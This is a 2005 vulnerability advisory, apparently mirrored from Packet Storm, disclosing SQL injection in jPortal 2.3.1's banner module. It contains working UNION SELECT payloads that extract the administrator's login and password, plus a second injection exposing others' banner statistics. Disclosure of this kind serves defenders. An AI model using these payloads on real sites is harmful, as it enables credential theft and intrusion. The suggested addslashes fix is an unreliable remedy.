Lucene search
K

jportal231.txt

🗓️ 18 Apr 2005 00:00:00Reported by Marcin KrupowiczType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

SQL injection vulnerability found in jPortal version 2.3.1 affecting the banner module.

Code
`Hello BugTraq,  
  
I've found possibility to inject sql code in jPortal version 2.3.1, in  
module "banner" (module/banner.inc.php).  
  
Bug is in these lines of code:  
[code]  
$query = "SELECT * FROM $bann_a_tbl WHERE title='$haslo' ORDER BY id DESC";  
[/code] - line 192.  
  
There is unfiltered variable $haslo. In order to patch this code just do this:  
[code]  
$haslo = addslashes($haslo);  
$query = "SELECT * FROM $bann_a_tbl WHERE title='$haslo' ORDER BY id DESC";  
[/code]  
  
[exploit]  
go to http://[victim]/jportal/banner.php and try this:  
  
' UNION SELECT NULL, nick, NULL, NULL, NULL, NULL, NULL, NULL, NULL,  
NULL, NULL, NULL, NULL, NULL from admins where '1=1  
  
and then:  
  
' UNION SELECT NULL, pass, NULL, NULL, NULL, NULL, NULL, NULL, NULL,  
NULL, NULL, NULL, NULL, NULL from admins where '1=1  
  
After that, You gain login and password of administrator.  
[/exploit]  
  
[exploit2]  
try to inject this code:  
' or id='x x - banner id  
After that, You can see statistics of not banners, to which you  
haven't got passwords.  
[/exploit2]  
  
Vendor (http://jportal2.com) has been informed already.  
  
--   
Best regards,  
Marcin "CiNU5" Krupowicz  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation